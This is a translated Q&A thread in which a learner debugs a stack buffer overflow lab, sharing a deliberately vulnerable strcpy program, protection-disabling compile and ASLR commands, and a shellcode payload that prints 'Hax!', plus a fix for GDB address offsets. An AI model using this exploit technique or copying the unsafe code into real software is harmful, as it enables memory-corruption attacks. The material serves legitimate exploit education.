8

很久以前,我阅读了有关 Stack 位于 Buffer Overflows 的信息,但决定设置一个虚拟机并在实践中实际看到它们。

以下代码是易受攻击的程序:

#include<string.h>

void go(char *data){
    char name[64];

    strcpy(name, data);
}

int main(int argc, char **argv){
    go(argv[1]);
}

它是使用 GCC 上的-zexecstackand-fno-stack-protector选项编译的,以允许堆栈中的代码可执行并禁用程序内置的堆栈溢出保护(“金丝雀”值)。

gcc vuln.c -o vuln -zexecstack -fno-stack-protector -g

然后我用GDB找出name栈上的内存位置,找到如下地址:0x7fffffffdc10

由于我的 VM 具有最新的 linux 版本,我不得不通过运行: sudo sh -c "echo 0 > /proc/sys/kernel/randomize_va_space"sudo sysctl -w kernel.randomize_va_space=0.

shellcode 取自我在网上找到的一篇关于 Stack Smashing 的文章,并通过 Perl 脚本提供给程序:

perl -e 'print "\xeb\x22\x48\x31\xc0\x48\x31\xff\x48\x31\xd2\x48\xff\xc0\x48\xff\xc7\x5e\x48\x83\xc2\x04\x0f\x05\x48\x31\xc0\x48\x83\xc0\x3c\x48\x31\xff\x0f\x05\xe8\xd9\xff\xff\xff\x48\x61\x78\x21" . "A"x27 . "\x10\xdc\xff\xff\xff\x7f"'

作为 shellcode 的前 45 个字节(应该在屏幕上写“Hax!”),一些额外的 27 个“A”字节以使指针位于正确的位置,最后是有效载荷的起始地址(小端序)。

问题是:

在 GDB 上运行程序时,通过:

gdb vuln
>run `perl -e 'print "\xeb\x22\x48\x31\xc0\x48\x31\xff\x48\x31\xd2\x48\xff\xc0\x48\xff\xc7\x5e\x48\x83\xc2\x04\x0f\x05\x48\x31\xc0\x48\x83\xc0\x3c\x48\x31\xff\x0f\x05\xe8\xd9\xff\xff\xff\x48\x61\x78\x21" . "A"x27 . "\x10\xdc\xff\xff\xff\x7f"'`

我可以运行 shellcode 和“Hax!” 输出。

当试图在 GDB 之外运行程序时

./vuln `perl -e 'print "\xeb\x22\x48\x31\xc0\x48\x31\xff\x48\x31\xd2\x48\xff\xc0\x48\xff\xc7\x5e\x48\x83\xc2\x04\x0f\x05\x48\x31\xc0\x48\x83\xc0\x3c\x48\x31\xff\x0f\x05\xe8\xd9\xff\xff\xff\x48\x61\x78\x21" . "A"x27 . "\x10\xdc\xff\xff\xff\x7f"'`

我收到一个Illegal instruction (core dumped)错误而不是“Hax!” 输出。

我一直在努力想弄清楚这种不同行为的原因是什么。显然 GDB 默认禁用 ASLR,但是我也在sysctl内核上禁用了它。内核可以忽略kernel.randomize_va_space变量吗?或者内存地址可能不同,即使是静态的,在 GDB 和真实进程上?或者,也许真正的进程实际上正在运行 shellcode,但是 GDB 忽略/绕过的真正进程出了问题?

关于可能是什么原因的任何想法?

4

1 回答 1

0

阅读此答案(https://stackoverflow.com/a/17775966/6765863)后,我更改了尝试执行堆栈缓冲区溢出的内容。

env -i首先,我在 GDB 测试和常规二进制测试中都使用了上面答案 ( ) 中建议的清晰环境。在 GDB 上,我必须进一步运行命令unset env LINESunset env COLUMNS彻底清除 GDB 环境。

其次,我使用了可执行文件的完整路径,以确保argv[0]两个测试中的变量相同,而不影响有效负载地址。

即使经过这些步骤,我仍然只能在 GDB 版本上点击 Payload。所以我制作了一个“调试”版本的代码,我将在其中打印 Payload 的内存地址(这将是函数“go”上的“name”数组地址)以及 and 的argv[0]地址argv[1]。最终代码如下:

#include<string.h>

void go(char *data){
    char name[64];
    printf("Name: %p\n",name);
    strcpy(name, data);
}

int main(int argc, char **argv){
    printf("Argv[0]: %p\n",argv[0]);
    printf("Argv[1]: %p\n",argv[1]);
    go(argv[1]);
}

我知道我应该明确包含 stdio.h (我的错!)。我不知道添加是否#include<stdio.h>会改变内存地址上的任何内容(不要这么认为,因为它是一个预处理器调用,编译器可能以相同的方式调用它,但经过所有调试后我不想要如果程序仍然有效,则冒着不得不再次执行此操作的风险)。

无论如何,我注意到 GDB 测试和常规测试中的地址有点不同。更具体地说,有效负载地址具有 +0x40 偏移量(64 字节)。更改 Perl 脚本以实际访问该地址就足以使其在 GDB 之外工作。

我仍然不确定堆栈上可能有什么不同,但整个问题是两个测试中的精确地址不匹配。如果有人知道 GDB 测试中那些额外的 64 字节可能是什么,我很乐意将其添加到我的答案中!

于 2016-08-31T01:36:13.997 回答